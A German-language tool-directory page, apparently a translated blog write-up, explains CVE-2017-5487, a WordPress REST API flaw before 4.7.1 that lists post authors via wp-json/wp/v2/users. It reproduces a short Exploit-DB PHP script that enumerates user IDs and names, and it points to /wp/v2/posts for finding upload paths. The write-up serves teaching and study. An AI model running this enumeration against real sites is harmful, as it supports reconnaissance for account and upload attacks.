Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2017-5487 — cve-2017-5487 wp rest api Schwachstelle | Kitploit
Tools/GitHubGitHub/tpdlshdmlrkfmcla/cve-2017-5487
AufklärungSchwachstellenanalyseExploitationInformationsbeschaffungWebsicherheitLernen & Bildung
GitHubtpdlshdmlrkfmcla/cve-2017-5487

cve-2017-5487

cve-2017-5487 wp rest api Schwachstelle

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
  1. Was ist CVE-2017-5487?

: In WordPress-Versionen vor 4.7.1 beschränkt die REST-API-Implementierung in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php nicht die Liste der Autoren, sodass ein entfernter Angreifer durch eine Anfrage an wp-json/wp/v2/users wichtige Informationen erhalten kann.

(Referenz: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487)

Falls ihr nicht versteht, was das bedeutet, schauen wir uns zunächst das Hintergrundwissen an und lernen es dann durch eine Übung.

Wenn ihr denkt, dass kein Hintergrundwissen nötig ist, könnt ihr direkt zu [3] springen.

  1. Was ist eine REST-API?

: Einfach ausgedrückt kann man eine API, die definiert, „was und wie es getan wird", als REST-API bezeichnen.

: Etwas detaillierter: Eine REST-API definiert, wie eine über eine HTTP-URI definierte Ressource mit HTTP-Methoden und Payload bearbeitet wird.

: REST = REpresentational State Transfer

2.1 Über HTTP-URI definierte Ressourcen

: Eine Ressource bezeichnet das zu verarbeitende Objekt.

z.B.) JSON, XML-Dokumente, Bilddateien wie jpg, Videodateien wie mp4 usw.

: URI steht für Uniform Resource Identifier, ein einheitlicher Ressourcenbezeichner. Die übliche URL ist auch ein Teil der URI und bezeichnet die Identifikation einer Ressource.

z.B.) Wenn über http://rootable.tistory.com/user/test Informationen über einen Benutzer namens test abgerufen werden können, ist dies ebenfalls eine URI.

2.2 HTTP-Methode

: Die Methode funktioniert unabhängig vom Format der Ressource gleich.

: In der REST-API verwendete Methoden sind POST, GET, PUT, PATCH, DELETE usw. Zu beachten ist, dass sie sich von den Funktionen unterscheiden, die wir normalerweise denken. Z.B. denken wir bei POST an eine Methode zum Anfordern von Daten oder Dokumenten an den Server, während es in der REST-API eine Create-Funktion ist.

  • Zusammenfassung der HTTP-Methoden und CRUD-Operationen
HTTP-MethodeCRUD-Operation
POSTcreate
GETread
PUTupdate / replace
PATCHupdate / modify
DELETEdelete
  • CRUD-Operationen sind ein Sammelbegriff für Create, Read, Update, Delete, die von Computersoftware grundlegend bei der Datenverarbeitung verwendet werden.

z.B.) REST-API, um einen Benutzer doni zu den users von http://rootable.tistory.com hinzuzufügen:

POST http://rootable.tistory.com/users/doni

z.B.) Wenn bei der Benutzererstellung verschiedene Eigenschaften wie Beruf, Alter, Geschlecht usw. benötigt werden, wird im Body-Teil eine Ausdruckssprache wie XML oder JSON angegeben.

POST http://rootable.tistory.com/users Content-Type: application/json

{ "username" : "doni", "age" : "27" }

  1. Die REST-API von WordPress

: Es wurde gesagt, dass eine REST-API eine vordefinierte API ist, die definiert, was mit einer Ressource getan wird. Welche REST-APIs sind dann in WordPress definiert?

Siehe die folgende Tabelle.

Es sind verschiedene REST-APIs definiert. Hier ist das /wp/v2/users aus der CVE, die wir uns ansehen, enthalten.

  1. Nutzung der CVE

4.1. Informationen über Autoren von Beiträgen erhalten

  • Nachfolgend ist ein Code aus EXPLOIT DB. ( https://www.exploit-db.com/exploits/41497/ )

  • Wie man am Code sieht, bereinigt er lediglich die Ergebnisse und gibt sie übersichtlich aus. Man kann die Informationen auch durch direkten Zugriff erhalten, ohne diesen Exploit-Code zu verwenden. Daher ist es nicht nötig, bis zur FU-Schwachstelle zu gehen, um die Darstellung zu verbessern.

root@kitploit:~
#!usr/bin/php
<?php
 
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: [email protected]
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');
 
 
$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}
 
 
?>

Wenn man dies als PHP-Datei im WordPress-Installationsverzeichnis speichert und ausführt, erscheint das folgende Ergebnis.

(Wenn man direkt darauf zugreift, sieht es wie folgt aus. (Zum Vergrößern anklicken))

Dadurch kann man Informationen wie ID und Name des Autors eines Beitrags erhalten.

Hinweis) Ich dachte, dass alle registrierten Benutzer angezeigt würden, aber nach dem Test wurden nur die Konten der Beitragsautoren angezeigt. In der CVE-Beschreibung taucht das Wort „author" auf, was wohl genau „Autor" bedeutet.

4.2. Datei-Upload-Pfad erhalten

Unter den REST-APIs von WordPress gibt es /wp/v2/posts. Wenn man darauf zugreift, werden Informationen über veröffentlichte Beiträge angezeigt, darunter auch der Datei-Upload-Pfad, wie markiert. Wenn eine FU-Schwachstelle gefunden wird, könnte dies sehr hilfreich sein.

  • Wenn bei posts zu viele Informationen erscheinen, kann man mit /wp-json/wp/v2/posts/20 nur Informationen über den 20. Beitrag erhalten.
  1. Referenz

In Version 4.7 scheint es nicht möglich zu sein, Einstellungen anzuzeigen oder Beiträge zu bearbeiten.

  • Beim Versuch, die Einstellungen anzuzeigen, wird rest_forbidden angezeigt und der Zugriff verweigert.

  • Beim Versuch, den ersten Beitrag zu bearbeiten, erscheint die Meldung, dass der Beitrag nicht gelesen werden kann.

  • Das Betrachten von Benutzern scheint weniger relevant zu sein, aber es ist etwas schade… Bei der Suche scheint es keine entsprechende Schwachstelle zu geben. Allerdings scheint es für Versionen vor 4.7.1 eine Schwachstelle zu geben, mit der man Beiträge anderer Benutzer bearbeiten kann. Dies wird in einem späteren Beitrag behandelt.

Referenzen:

  1. REST-API-Erklärung: http://blog.naver.com/PostView.nhn?blogId=complusblog&logNo=220986337770

  2. Unicode-Konverter: http://koreanstudies.com/unicode-converter.html

  3. Downgrade (ich empfehle, keine Neuinstallation durchzuführen, da ich beim Versuch Probleme hatte und dann neu installieren musste)

: http://www.bbsetheme.co.kr/%EC%9B%8C%EB%93%9C%ED%94%84%EB%A0%88%EC%8A%A4-%EB%B2%84%EC%A0%84-%EB%8B%A4%EC%9A%B4%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%95%98%EA%B8%B0/

Tool herunterladen
ResourceBase Route
Posts/wp/v2/posts
Post Revisions/wp/v2/revisions
Categories/wp/v2/categories
Tags/wp/v2/tags
Pages/wp/v2/pages
Comments/wp/v2/comments
Taxonomies/wp/v2/taxonomies
Media/wp/v2/media
Users/wp/v2/users
Post Types/wp/v2/types
Post Statuses/wp/v2/statuses
Settings/wp/v2/settings